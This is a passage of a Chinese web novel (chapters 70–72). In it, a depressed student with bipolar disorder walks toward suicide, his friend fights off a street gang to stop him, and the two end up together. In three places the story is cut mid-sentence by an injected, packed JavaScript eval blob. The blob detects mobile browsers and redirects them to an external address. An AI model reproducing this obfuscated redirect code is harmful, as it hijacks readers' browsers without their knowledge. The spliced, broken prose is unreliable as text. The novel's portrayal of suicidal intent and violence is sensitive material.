长风从高空走过，高架桥上路灯如长龙，闪烁的霓虹广告装点着这个发展中的城市。这个小城的发展速度有时让他想起江洲，那个充斥着钢筋水泥的大都市，繁华、喧闹，粉饰了多少挣扎和消逝。 世界这么大，他一介少年如蝼蚁。 “好，既然你说道别，那就不要再见。”齐怀生压抑着愤恨，“下次再让我看到你，就不是现在这样了。到时我才不会顺着你。听见了吗？” 他听着几句在他看来有些可爱的气话，背对齐怀生露出一个释然的笑：“好。” 他没有回头，不知道齐怀生会做出什么表情。 出医院大门，绕了段路，乘上一辆公交，不疾不徐，漫无目的地往前坐着。 离开之前还想看看这座小城。 公交开着开着，进入郊区，天外还余一缕橘红、一片冷蓝，电线将天空切割成块，凌乱不堪，是被城市发展遗弃的地带。 他占着公交车上一座，开了窗，晚风卷着旋儿，丝绸一样拂过。鬼使神差地，一路就这么坐下去，到终点站，换一班车，再返回石川县。慢慢悠悠地，把这个地方好好地看一遍。 轮渡依然有轮船的汽笛声，内海湾的渔船星星点点亮着灯，他趴在海滨长廊的石栏上，会想起齐怀生讲的三个流浪汉的故事。正想到齐母问的“你想成为谁”，发现自己走到了海滨广场。 齐怀生狡黠地叼走他的板栗，蹦起的身影仿佛还在眼前。 齐怀生曾在石川山顶上同他说过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301988|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：无论怎样选择，“海神也不能保证你不会遇见风浪”。 人生无定数，风浪即是定数。这时他望向广场上嬉闹的小孩，脑海中满是他们青春时期，因做不出题而扇向自己的巴掌，为理想而与父母要死要活地对峙，还未拥有力量便自我结束的决绝。他发现少年的争先、理想、义无反顾，原来是这样诠释的。 他转身，背离灯光斑斓的广场。人生的最后，想起的，还是齐怀生。 齐怀生只用不到两年的时间，就成了他骨髓、血液、五脏六腑的一部分。 他再乘上公交，窗外霓虹飞速拉长成幻影。身边来来回回换了几拨人，有讲着方言粗话的大叔，穿着职业装的上班族，抱着孩子的年轻妈妈。小女孩约莫两岁，碎花小连衣裙，软软的披肩发，睁着黑溜溜的大眼睛注视他，嗷嗷两声“外星语”，伸出小手摸摸他的脸。 小女孩沾湿了手。 脸上有泪，他抬起袖子慌忙擦去。再抬起头，那孩子露出一个软乎乎的笑。 陈向然轻轻别过脸去。 回到学校，他写下一封不冷不热的遗书。信纸苍白，他写下的一言一语同样苍白。 晚上八点多，晚自习下课，班里仍然死寂。零星几人上走廊打水，剩下的还埋在题海里，执行今天的学习计划。 刘永凡低着头，笔尖唰唰不停，颈椎的形状都有些前凹了。张依萌这阵子成绩倒退，也不知有没有从那日的阴影中走出来。吴自兴是英语课代表，走上讲台，粉笔字写下“语法与长难句练习18明天早上早读前交齐”。扔了粉笔头，拍拍手回座位。 他离开的这个夜晚，也与平时无二。 离开座位的一瞬，这个夜晚又变得不一样了。以吴自兴为中心形成一拨舆论，起先是他后桌，一个小眼睛男生叫他跟叶知道歉，紧跟着张依萌的同桌回头：“我看这英语课代表也得换了。不然哪天一发试卷，把我们卷子给撕了怎么办啊？你们说对吧？” “我当时就这么想的，体育课他第一个不见人了。还能是谁？” “海归的儿子嘛，理解一下人家的自尊心懂不懂？” 第一次见吴自兴低头抿嘴，把自己缩起来，一个字也不说，气焰顿失。能封住一张挑衅的嘴的，只有其他人更加挑衅的嘴。让人忍不住想到“风水轮流转”这句话。 陈向然无心再见这些伤害与被伤害的场景，像一个透明的影子一般，默默从教室后门离去。 春末夏初，山里潮闷气重。陈向然走在去往观景台的长坡上——坡的顶端就是海中的最高点。天如倾墨，妖风四窜，银杏树的枝丫簌簌鞭动。 正到半途，长坡蜿蜒而上，仿佛将人送往天际。高台尖顶渐渐出现在视野中，孤单耸立，台前三十级陡峭的台阶，是他最后要行的路…… 风里似有某处传来鸣叫，身后忽地破开一声猛烈的嘶吼。 “陈向然，你站住！” 70. 赢家 ——陈向然，你站住！ 齐怀生从梦里惊醒，张嘴大口呼吸。线条微微起伏的手臂绷得很紧，冷汗流过颈间，没入宽松的灰色背心里，洇湿一隅。 他面向书桌侧卧，桌上台灯亮着，练习册还没合上，自动笔露着笔尖，卡在书缝里。 学了一天，晚餐后突然觉得累，碗都没洗先进屋躺会儿。一躺躺了两个小时。拿起手机，已经晚上八点了。 他揪着背心抹了把脸，坐起来，脑袋渐渐冷静，再回想方才的梦，已经一点想不起来了。唯独记得一幕——陈向然奔跑着消失在他视线里。他甚至不知道那是什么地方，只觉明媚的草木深处出现一个不起眼的黑洞，将人吞噬，他跌跌撞撞追去，也留不住人。 黑夜降临，心魔就会钻入梦境。他捂着心口，不由得想，或许陈向然说得是对的，他们总有一天要分离。陈向然坚持不了多久，他也快要随之坠入。 他的确自以为是地要拯救，拯救一个双相病人。妄想比拼病魔和爱谁能胜出。最后只会一败涂地，赔人折兵。 陈向然他……大概是这个意思吧。他想。 太讨厌这种感觉。他攥着胸前的衣服。匆忙、遗憾而无力。 他起身去洗碗，题也做不下去了。下楼，绕过拐角一盏破锈的灯，打响小电驴。今晚是他的夜班，去县里某片区做巡逻。揪些窃贼、强盗，驱逐四处游荡的小混混。 有时困了，他在巷口席地而坐，倚着墙。也不敢睡着，压低帽檐，一手抓个硕大的铁皮手电筒，另一只手护着口袋，闭上眼睛，竖起耳朵，不然下一个被偷窃的就是自己。 其实，浑身上下也没什么值钱东西，就那么一部手机，两千多。齐越杰三年前送他的。推脱了很多次，还是敌不过生活需要。 三年，要是别人都该换手机了，可那里面还有些学习资料，和偷偷拍下来的陈向然的照片。照片起初是恶作剧拍的，后来积攒多了，看着满屏喜怒哀乐的神情，舍不得删，干脆建了个相册。也是从那时起，他开始怀疑自己，是不是盯着人照片看的时间有些长了。 睡了会儿，就去大排档吃点什么。大晚上的，人还很多。地方太小，餐桌倾斜着放置，好腾地方，结果还是顶上了塑料门帘。一坐下去，食客间背靠着背、肘挨着肘，吃个饭都不能舒展身子。即便这样吵闹，流浪汉还是会在大门口铺几张报纸，挠着肚子，翻个身，蜷缩着睡去。等着第二天的剩饭菜。 齐怀生偶尔也会把剩饭菜送到这里来。粥啊、汤啊、排骨啊，用塑料袋分装，施舍这些居无定所的人。仿佛成了一个约定俗成的“慈善点”。 毕竟是县里口碑最好的大排档。齐怀生塞进角落里，找了一张学生桌，在那些少年鄙夷的目光里坐下，点了份墨鱼饼。 他吃得很快，正要走，听见身后穿一中校服的学生说：“你刚刚听见没？警车又往山上开了。” “警车？哈，又死人了吧。他们学校不就这样？我都习惯了。” 他没有停步，却走得慢了些。 “以后中考填志愿，谁还敢去？” “你懂啥？那些学神啊，一个个把自己往死里整。那种境界，岂是我等屁民能比的？” “我妈说了，人家跟我们这些一中仔不一样，是未来的人生赢家……” 齐怀生走远了，身后的阴阳话淹没在闹市里。 这片区的巡逻不知什么时候搞了志愿者制度，时间自由，有点小钱拿，他就报名了。行走在市井小巷里，有时也能听到些行情。许多是关于海中的。 让人艳羡的人中龙凤，也是有些人眼里的可怜虫。分数的红海里拼杀多年，空虚到人生无半点色彩。最好的年纪那样乏味而沉闷。学校教会他们争强斗胜，却没教他们如何爱自己。 他不知不觉，走往去山上的方向。 上山的路夜里半无人影，店铺关闭，民宅紧锁。齐怀生走到半途，忽觉口袋轻了。心事缭绕，一时大意了，也不知什么时候变轻的。 一摸，手机果真没了。 掉路上是不可能的，手机砸地的声音会唤醒他。 他停下来，蛰伏在暗处的小偷们玩够了恶作剧，讥嘲般笑着，路灯下的长影鬼魅一样游动，从他身前身后现身。那红毛，和厂里遇过的黄毛都在。齐怀生凭着经验，本能环视一圈，暂时判断不出手机在谁身上。 这些人还真是狗皮膏药一样，怎么都甩不掉。齐越杰提出要往江洲找学校，肯定也是考虑到这点。 现在只能忍……他想。他或许能忍下来，如果不是这些人抢了手机，如果不是他们挡了道，如果不是他担心某个人的情绪已经到了顶点…… 他冲上去，拎着铁皮手电筒冲红毛就是一下。紧接着肌肉碰撞、拳脚相加。一阵混乱的斗殴后，手电筒从人群中飞甩出一条抛物线，滚到路边野草地里，开了壳，玻璃罩布满裂纹，灯还亮着，折射出各种角度奇怪的光线。 对面好几个人见了红，血喷溅在他脸上。他若无其事地抬手抹去。心想，终于试探出手机在谁身上——站在人群最后，自始至终没有动手，只是远远观望的立发少年。 齐怀生发出一声似笑非笑的哼声：“这么多天没见，头发更有型了嘛。” 申恺手揣兜里，护着他的手机，冷冷地说：“多谢夸奖。” “我可不是夸你。”齐怀生轻松地一手揣兜，试图走向他，被其他人拦住了，“要我手机可以，不让我走也可以，帮我个忙。” “我没有义务帮你的忙。” “那做个交换。”齐怀生拉拉湿透的汗衫，低头叹了口气，“我最近见到你爸了，说来找你。” 申恺一怔，动了动嘴唇，没说出话。 齐怀生是在巡逻的这段日子遇见申父的，把他当做编制内的警察，说儿子走丢了，想要报警。齐怀生一听名字“申恺”，再看这七分相似的脸，就说：我认识他，我是他发小。 真报了警，申恺就直接见上这个所谓的爸了。毕竟派出所名客，没有一位同志不认识他。 “想见他，我有条件的。”齐怀生说。 他不想父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301989|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子见面。 年少冲动的一男一女，诞下谁都不想负责的一子，各自过着各自的生活。他父亲是个寻求自由的人，漂泊四海，不喜牵挂，情债累累。年岁大了回到家乡，竟是来找他这个从未谋面的儿子。 没有什么久别重逢的温情，他只有恶心。 申恺瞪着不可置信的眼睛，忽略了齐怀生说谎的可能性：“你告诉我他在哪，我就帮你。” “那就算了。”齐怀生摆摆手，“我本来也不想说什么。你知道我对你那爸是什么态度。” 申恺脱离人群，孤零零地站在灯光下，不甘地低头：“要……要我帮你什么？” “申恺！”红毛大喊，“你他妈哪边的！” 齐怀生不给他机会，冲远处喊：“去海中看看。有什么事通讯！” 申恺跑向黑夜，回头望了一眼——齐怀生比了个六放在耳边，做出听电话的动作。 “通讯”是他们小时候的用词，意思是打对方家里的座机。号码都背下来了，忘了对方的模样都忘不了这串顺口的数字。现在不用了，十八岁的少年不爱用小时候游戏的词汇。 齐怀生突然提起，让人没有防备。 回头的一瞬，他看到其他人被彻底惹怒了，一窝蜂涌向他的发小。齐怀生一边迎接疼痛，一边透过人群缝隙与他交换了一个眼神。 齐怀生似乎得意地笑了一下，又挨了一拳。 申恺穿过后街，遇海中后墙，从那条长满杂草的窄巷钻入。他记得陈向然如何翻墙进出的，用同样的方法混进了学校。 海中地形崎岖，在学校里走动可以用翻山越岭形容。申恺也不晓得齐怀生究竟想知道什么，跑到一个可以看到山看到海的平台，他就累得走不动了。旁边有长椅，他坐下歇会儿脚。 一坐下，口袋里手机“咣”地砸在椅子上，他拿出来摸摸有没有裂屏，还能不能用…… ——不是他的手机，是齐怀生的。 齐怀生的手机从不设屏保密码，最近也不知多了什么不能见人的秘密。说到底密码也不会设，申恺一试生日就顺利开锁。 桌面是一张四人全家福，P上一张陈向然的照片。申恺默然——也不知手得残成什么样，才能P出这样的图。但看得出，手机主人貌似还使了挺大劲。 以前齐怀生也会把他或是何晋他们的照片，跟全家福拼在一起，但直接把人P进全家福的，也就这一次了。 他锁了屏幕。 他人生第一次参加的葬礼，不是姥姥姥爷的，而是齐母的。那时他和申蓉还在塘泽，从小到大第一次亲眼见到镇上的丧葬习俗。买回水沐浴、理发上妆、换寿衣，昏暗的殡仪厅里，死者脚边的油灯火苗摇曳。 齐怀生为子，拒绝所谓“行孝”礼节。觉得戴上“不孝”的帽子，才算陪着母亲了。 申恺全然了解，齐怀生想让自己来做什么。 山下有警笛声，渐渐被呼啸的妖风盖过。他站起来，拨开低垂冗杂的枝叶，听见有人喊： “陈向然，你站住！” 71. 交融 来人是吴自兴。 陈向然回头时，他正着急忙乱从口袋里掏出一张纸，抖开，展示在他面前。狂风抽打着纸张，他勉强看出上面是自己的笔迹——吴自兴，张依萌试卷的事，自己去道歉，别等我戳穿你。 “你扔我桌上的？”他唾了一口，“那天体育课，你是最后一个离开教室吧。” 陈向然默不吭声。纸条大约是被谁发现了，一下传遍全班。可这些事有一有二都与他无关。 任何人、任何事，都与他无关了。 “草，你有什么证据证明？就凭我晚点下楼？”吴自兴一手把纸揉成了团，指着他鼻子，“怎么不说是你干的呢然神？你英语不行就是不行啊。这不是所有人都知道嘛？你倒是当众揭穿一下，咱们好好辩论辩论。” “人家叶妹妹和萌大姐关系不好，你插什么脚？说句不好听的，那叶知整天装弱，把男生当成脚踏板，你这么聪明个人怎么就栽在个妹子身上呢？” “砰”一声，吴自兴挨了一记猛拳。 在半坡上，他踉跄好几步，没站住，摔坐在地上。中招的是牙齿，牙龈都出血了，他抹了一下嘴角，夜色下仿佛糊了一嘴肮脏的红土灰。 他抬起头，被眼前一幕冷透了肺腑。 陈向然站在坡上，居高临下，那瞳仁灰黑，眼里全然空荡无物。风拉扯他的校服和头发，拳骨落下一滴粘稠的血。 无一丝“人”的气息，仿若鬼神。吴自兴当下，不知怎的想起一个“死”字。 “当”、“当”……山顶的大铜钟足足敲了九下。晚自习开始了，全校学生如闻禁言钟，从四面八方涌回教室。四下里瞬时寂静。 吴自兴腿都软了，费了老大工夫站起来。对上那双眼睛，才第一次体验到这样寒冷、陌生的恐惧。 “有病……”他唾了一口，几乎是跑着离开的。 陈向然看着那人仓皇逃窜，就像看一只脱离队伍找不到标记的蚁。半山的警笛声越来越清晰，像是朝学校来的。不多时，广场上聚集了好几位老师，其中还有一位校领导。 不想那么快被发现，陈向然转身另寻他处，想起纪封道那时说的——向往山里的那湍急流。 下雨了。 夜里的水流是黑色的，雨越下越大，卷起一波黑涛。 他循着河水奔流的声音，拐进那条巷。 齐怀生曾带他走过这条路，左边有一出隐秘的灌木丛缺口，从那儿可以找到上山的路。 这里是后街的后半段，到了晚上更是各路牛鬼蛇神出没，派出所都应付不来。他不过一回头，就看到一场惨烈的群架。 他先是被一声怒吼吓了一跳，愣住了，只一刹那，他继续往深处走。紧接着听出齐怀生的声音。 这个声音有致命魔力，迫使他回过头，望向那个战场。 敌手有五六个，撕扯围殴他一人。 ——“下次让我再看到你，就不是今天这样了！” 脑海里回荡着齐怀生的话。他别过脸，不去看齐怀生被摔在墙上痛苦的样子，颤颤地抬起手，揪住胸口湿透的衣服。 他不回头，决绝地走进巷道深处，奔涌的河水在百米外，他很快就会被水流和沙土充斥肺部，在深不可测的水域中漂流，到下游去，到自由清明的山林中去…… 两眼一闭，与世长辞。 …… 他紧紧攥着雨水，身后满是吼叫声、哀号声、肌肉碰撞声。独行的猛兽被一群野狗纠缠撕咬。在他脑海中，电线和飘扬的衣物投下张牙舞爪的阴影，于是流淌的红色愈加鲜艳。 一声，又一声……不知是发狠还是疼痛，齐怀生凄厉的咆哮，一声一声砸在他脑海里，像一根细长的银针在耳边长驱直入，贯穿他的耳膜。 他回头了，抹着脸上流过的雨水，他越走越快，渐渐地在雨中踩着积水跑起来。跑到巷口，喊声戛然而止。 齐怀生赢了，拖着疲惫的身躯经过巷口。伤口结不上血痂，血不停流出，和土灰一并蜿蜒着，流过他的脖子。 他看过来，陈向然就后退了一步。 齐怀生脸上残留着凶狠和痛苦的表情。他看见陈向然，两眼都睁大了，血流进他的右眼，让他看上去更加愤怒和疯狂。 他跟过来，陈向然扭头就走，越走越快，听到身后的脚步声，几乎小跑起来。齐怀生跑得更快，一把拎住了他的衣领。 和他相处这么多天来，陈向然快要忘记他曾经和多少人在沟渠里腥风血雨地打滚，享尽他的温柔之后，忘记他原本其实逞强又暴躁。像月色下蛰伏的野狼。 以为他将要为所谓的告别付出代价，可齐怀生说的是：“你在这干什么？” “……” 陈向然挣了一挣。齐怀生手上满是血、脏土和雨水，将他攥得紧紧的。 “我问你在这干什么。”他低吼道。 他行尸走肉一样的，麻木地看着齐怀生，说：“我走，我不待这。”又低声添了一句：“我不给你们添麻烦……” “添什么麻烦？” 趁齐怀生愣怔的一瞬，他扯出衣领，快步朝巷子里走去。小巷很暗，又那么长，他独自走着，很熟悉这种感觉。一个患者的感觉。在一条望不到尽头的漆黑的路上，为了看见光亮的那天，而奔跑下去。 不会有那天，陈向然想。 暴雨遮蔽了其它所有的声音，他只是这么走着，走向他最终的去处。 “我说过别再让我看到你吧！”齐怀生喊声如沉钟，穿透雨幕，或者还穿透他的身体。 他走不动了，再也抑制不了，站在雨里浑身打颤。 “陈向然，你又想寻死了，是吗？” 他缓缓蹲下身去，埋在膝盖上，双眼充血，泪雨交融。 一个患者，像常人一样行走、吃睡，坐在教室里、岗位上，甚至在人群中嬉闹雀跃，以至于所谓的轻生，仿佛突如其来，令人无可防备。 齐怀生啊，你错了，不是“又”，是“一直”。你看见了吗？那个黑洞，它那么大、那么大，它从来没有离开过…… 可是齐怀生继续说：“你知不知道死是最自私的事？不顾这世上还有多少人爱你，多少人惦记你，就想这么悄悄地走了。那种道别他妈算什么？连要去哪里都不能告诉我……”他哽住了喉头，压下激动的音量，“你还有那么点想活着的，是吗？” 陈向然强抑哭腔，声音小到闷在喉咙里：“谁都不能劝我，你没有权力决定我要不要活下去。” 齐怀生顶着大雨，拖着满身伤口往前挪步，血从衣摆、裤管流下来。 照平时，他早就倒在某家店铺前的雨檐下，像一条无家可归的流浪狗，等着天晴再出发。可他竟没有倒下，朝着陈向然缓步挪去，声音因疼痛发抖：“我也……我也无权劝你吗，陈向然？” “每天都有个声音在我耳边说，去死。”他面无表情，看着那条河，“我就找啊找，找无数理由，为了谁、为了什么而活下去，竟然也能到今天。”陈向然无力地笑，嘴唇苍白，满是雨水的脸上不知有多少是泪水，“齐怀生，今天你救了我，我就有下次寻死的时候，什么时候才是尽头？什么时候才能结束？这是救我，还是折磨我？” “陈向然……”齐怀生攥紧了拳头，拳心里攥出血珠，一步一步朝他走去，“我说过，再让我看到你，就不是像上次那样了吧。” “然后呢？”陈向然冷笑，“你还想怎样？你怎么就不懂。” 怎么就不懂，救他这样的人，要承受多少伤害，付出多少代价。 齐怀生残破的身躯终于走到他面前，手朝他的脸探去，倏然抓起他的衣领，另一手揽过他的后脑勺。 陈向然愣住了。 开裂的、沾着血的嘴唇贴在他嘴上，和着雨水和血水咬合在一起。齐怀生生涩又凶猛地吻他，猛地搅弄两下便放开了他，一阵粗喘。 “说我不懂，那么，你又懂了吗？我的心情？” 陈向然仍没有反应过来。齐怀生不等他说什么，接着又凶又狠地咬了上来，用力地揉捻、亲吻。像是在惩罚他。 雨水、血·腥和齐怀生的味道混合在这个吻里。 他死气沉沉的细胞被一点、一点唤醒，被病魔扼杀殆尽的欲望抽丝般复苏，像一把小小的铁锤，微弱地敲击他的大脑。要他窒息，要他浑身烧起来。 这场雨竟是滚烫的。 齐怀生不知道吻了多久才放开他。陈向然用手一抹，嘴上、脸上都染了一片鲜红——他呆呆注视手上混着雨水的血渍，还是没有反应过来。 齐怀生舌尖舔了下唇边血迹：“过来。” 陈向然晕乎乎地被他牵着走到巷口，又被他摁住肩。 “在这等我，别出来。”齐怀生顿了一下，低头抑住悲伤，“想寻死……也得等我回来。” 他像个机器一样点了点头。 齐怀生冲出去了。 走在前面的还是那三个人，头破血流的，又喊了好几个来寻仇。这些人都有斗殴的经验，输掉一场后叫上其他人，猛然回头反攻，胜率几乎百分之百。 然而齐怀生也是老手，原地等着，不把后背露给他们。对面一哄而上的瞬间，他左脚踹了一个人的膝弯，顺势将人踩在地上。右肘捅开一个，左腿紧接着横扫，挥来的拳头只离他的鼻梁毫厘之距。 寡不敌众，还是被按在了墙上。 砖墙凹凸不平，坚硬粗糙。后背传来刺骨的生疼，湿哒哒的衣服贴在伤口上。他疼得闭上了眼睛。 “听说你要走了，齐怀生。”红毛曾壬站在人群之外，盯着他痛苦扭曲的脸，“可不能就这么放过你了。我知道你的底细，什么混社会的，不就是个普通学生。可龙哥不信我啊。这不我只好替他清扫大街嘛。” 脸上“呼”地来了一拳，又一拳，他疼得直咧嘴。第三拳送来时，他本能地别开脸…… 拳头没有落到脸上。 陈向然两手搬了块砖，朝攻击齐怀生的人身上砸去。齐怀生挣脱钳制，蹲下身去，咳嗽了好几声。还没调整好呼吸，又冲上去将他们一个一个从陈向然身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301990|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯开，吸引他们的注意力，在人群中扯着嗓子大喊：“陈向然你走开！” 说完一个飞踢，放倒了两个。然而那些人反复从地上爬起来，他们中有些也是学生——最小的或许还上初中——也害怕表现不佳，回去后遭受红毛的惩罚。 陈向然盯着手上的伤，和血，浑身细胞里的痛苦和绝望感再次被释放。这是他第一次打群架，好像这么滚打着撕咬着，就可以挣脱好学生、乖儿子、那些学业和生活的枷锁。暴雨瓢泼，他从地上爬起来，与齐怀生并肩流血。 疼痛是活着的感觉，他依然这么认为。 拳头打在脸上、肩上、肚子上、背上，地上的碎石划破皮肤，又被雨水淋浇伤口，流了一地鲜红。 等到那些人不堪忍受淋雨的伤口，狼狈逃跑。 他们找片挡雨的地方，靠着身后关闭的卷闸门，断断续续地咳嗽、喘气。 雨小了一些。 齐怀生偏头看他，毫不掩饰心疼，轻轻拨开他被雨水和汗水贴在额头上的头发，缓缓吻上他的额头，吻了很久才放开。 陈向然一动不动，发梢“嘀嗒”落下一滴水。 “这算什么？” “算你从今往后，是我的。”齐怀生说着，直入一个更深的吻。 陈向然就快要窒息。 他觉得自己是一具空壳，一个凭着生和性的本能，勉强盘活知觉的行尸走肉。 被放开时脑袋愈加发蒙，只听见齐怀生在耳边念叨：“陈向然，你记住，你不完全是你自己的，所以，有些事，你不可以随随便便做决定。” “过分。”陈向然扯扯嘴角，“谁给你的勇气这么说。” 齐怀生揽着他的后脑勺，额头相抵：“这得问你自己，怎么把我逼到这份上的。” 陈向然被他带回家换身衣服。 他曾经就站在这里，毫无顾忌地当着齐怀生的面褪下衣物。现在连脱件上衣，都有些不自在了。他转过身去，不想被瞧出端倪，勉强脱下血衣，身上的伤口骤然一疼。 齐怀生抽了几张纸巾，轻轻给他擦去血迹和雨水。伤口翻着血肉，边缘沾着沙土，不好擦拭。 “去卫生间，伤口清洗一下。” “哦……”陈向然还没走到门口，回头问，“你呢？” 齐怀生的身体跟他相比简直伤痕累累。他费了好大劲才脱下上衣，一眼望过去，血皮、淤肿，满目疮痍。陈向然目光往下一瞥，他垂着的手指轻微抖动——他已经被疼痛麻痹了神经。 “我习惯了。”他说，“不急，先处理你的。” “你像这样……多久了？”陈向然目光呆滞，心暗暗揪到一起。 齐怀生没有回答他：“快去。” 陈向然犹豫了一下，听话地去了卫生间。 镜子里的人两眼无神地盯着自己，嘴边一块淤青，还留着血，像一个刚从地狱里爬回来的鬼魅。他也的确刚从地狱的边缘被齐怀生捡回来。水龙头打开的一瞬间，他从镜子里看到齐怀生的半张脸。 水簌簌地流着。 他指尖顿在水柱边，镜子里的那张脸渐渐贴近他，在他肩上完好的那片皮肤轻轻一吻，一直吻到侧颈、下颌、耳垂上。 胯骨一紧，裤腰往下挪了一寸，那两只满是伤痕的手锢住了他。 “对不起。”齐怀生说话的气流在耳边烧起来，他低着头，手指拨弄着满盆的水，不敢看镜子，“让你卷进我的事里。” 依赖感愈来愈强烈、无可抑制，陈向然忽然转过身去，将额头抵在他颈窝里。 “你是不是想着，死就死了，顺理成章地被打死，你就可以毫无负担地离去？”齐怀生手捂着他的后脑勺，声音冷下来，“陈向然，我再重申一遍，我不允许。你说这次我抓住你了，还会有下次，那下次我还会抓住你，一次又一次。你记住了吗？” “嗯……”陈向然依然埋在他的颈窝里，应答带着哭腔。他两臂轻环齐怀生的腰，害怕碰到那些从横交错的伤口。齐怀生却自己贴上来，让两具残破不堪的身体相拥。都好疼，都不想放开。 这一刻他知道自己逃不掉了。他靠着齐怀生作倚仗，就这么以一辈子为目标苟活下去。生生死死都再逃不开这个人了。 黄昏盈满房间，世界被染作深深的金红色。他们并排坐在角落里，身上被栏杆和光晕分割。 落日在窗户一角露出半张脸，麻雀停在栏杆上，“吱吱”叫个不停。 陈向然呆愣愣看天，伤口上药油泛着光，还没干透。齐怀生不知第几次在他脖子上、耳朵上、肩上、背上落下淡淡的吻痕。他觉得痒，不自觉躲了躲，又被他轻轻牵住，在肩头咬了一下。 “你属狗的嘛？”陈向然耸起肩膀，瑟缩了一下。 “今晚在这睡。”齐怀生叼住他耳垂，和他皮肉贴着皮肉，喷着气说，“别跑。” “齐怀生……”他欲拒还迎似的推了推，“我们——” “别误会。”齐怀生反握住他的手，“明天我带你去市区医院，顺便看看叶知。” 72. 住院 跟学校请个假不易，校医证明、医院证明是必备。对十六班来讲更难的是，要杨姗亲笔签字。 他拿上之前给过严霖辉的疾病诊断书，出示给杨姗，这个女人戴上金丝边眼镜，看了眼内容，将眉头紧紧拧起来，而后挥挥手上的单子：“过来，我们单独谈一下。” 去了一个无人的废弃教室。 “什么意思？”杨姗把诊断书拍桌上，指着上面的诊断，看不懂般逐字念读，“双相情感障碍，目前是伴有精神病性症状的重度抑郁发作。” 陈向然注意力涣散，木滞地点头。 “你成绩不挺靠前的么？”杨姗不相信似的，重新把诊断的每个字看一遍，“怎么就抑郁了呢？那那些学得半死连个重本都考不上的咋办？人生都完了。” 陈向然闭了闭眼睛，强抑怒气：“最近情况不好，需要去医院。跟您请一天病假。” “你这重度抑郁的情况，老师还是建议你直接休学。我以前也教过这样的学生，都是为了你们的健康着想，先休息，再考虑读书的事。” 陈向然盯着她的眼睛，读出一个成人的虚伪：“我只要一天病假。” “你看啊，你现在留下来读书，你也听不进课。成绩浮动得厉害。倒不如休整好了，再重读半年高二，把知识打扎实了，对吧？” 陈向然没有动摇。 杨姗是个顽固，说不动他，也没有理由逼迫教育，就叫来教导主任。这病好像比其它任何疾病都让人警惕，光请个假，也要闹到政教处。 他知道不能怪别人，他们这样的人，放到哪儿都是颗不定时炸弹。 “如果很严重……”高主任像是很为难，话语断断续续，“那个……陈向然啊，主任也不想这样。但去年刚发生过那种事，学校现在也很害怕某些事情发生，影响不好。所以你明白的，综合所有的因素，学校可能会劝你休学。在这之前……”高主任顿了一顿，“我们给你妈妈打过电话了，想让她来一趟，共同讨论这个事情。但她好像并不知情，所以我们需要确认一下真实性。” 陈向然盯着地板。 他也不是多想上学，也没想过休学对未来有什么影响——他没有未来。也不觉得医院能治愈自己。只是学校既不想负责，他也不想如他们的意。 他不留痕迹地笑了笑。他觉得班里那些人没救，自己却像个小丑，总在做些徒劳无功的事。严霖辉说得对，还弱小，做这些事就只是置气罢了。 “我会考虑的，给我一点时间。” 他一转身，听见身后整个政教处的老师起身，聚集房间一角，开会聊着某个议题。 “这个孙临潼，池校的意见是——杨老师啊，这个也是你班上的对吧？”高主任翻着警局给的材料，“这孩子，每次逃学都涉及虚假报案，这次大晚上被警察送回学校，已经不能不管了。请您务必给孙临潼家访，还有……” 陈向然走远了，也没有听见杨姗发表意见。 好巧不巧，就在行政楼前撞见孙临潼。 孙临潼阴了张脸，拎一袋子东西回宿舍，见他从行政楼出来，换作笑脸，伸手招呼：“嘿，陈向然，你去政教处啊？” 广场上无遮挡，大风扑面而来，陈向然被发梢遮了神情，与他擦肩：“嗯，杨姗要找你爸了。” 他能感觉到对方一瞬僵硬，不多时从身后跑上来，袋子里的东西咣啷响。凑在他耳边问：“真的啊？” “真的。”陈向然推了推他，“老实点吧，待学校里。” “可那天晚上，你也不见了啊。”孙临潼坏笑着用指尖戳他，“哪儿去了呀你？” 陈向然没有回答。一闭上眼，齐怀生揪他领子、揽他后脑勺的画面，脑海里一闪而过。 唇上仿佛还残留他的体温，还有雨流和血腥气。 “唉，既然我爸要来，我得搞个大礼等他，你说是不？不然白白挨训，不是太寒碜了？你要不要一起来啊，就跟以前一样，拉拉横幅，跟学校抗议……”孙临潼歪过脑袋，特意看他的表情，“怎么样？是不是觉得我很无聊？哈！” 抗议确实是海中学生的“传承”了，横幅、联名信，学生掌握主动权闹班主任的事屡见不鲜。 陈向然觑他一眼，视线下沉，看到那袋子里的东西，赤橙黄绿青蓝紫，都是颜料。新的，封着胶条。粗略一扫，猜得出价格不菲。 其实印象中，他倒从没见过孙临潼画画。 再抬抬眼皮，他冷冷地看另一只小丑邀自己共舞。 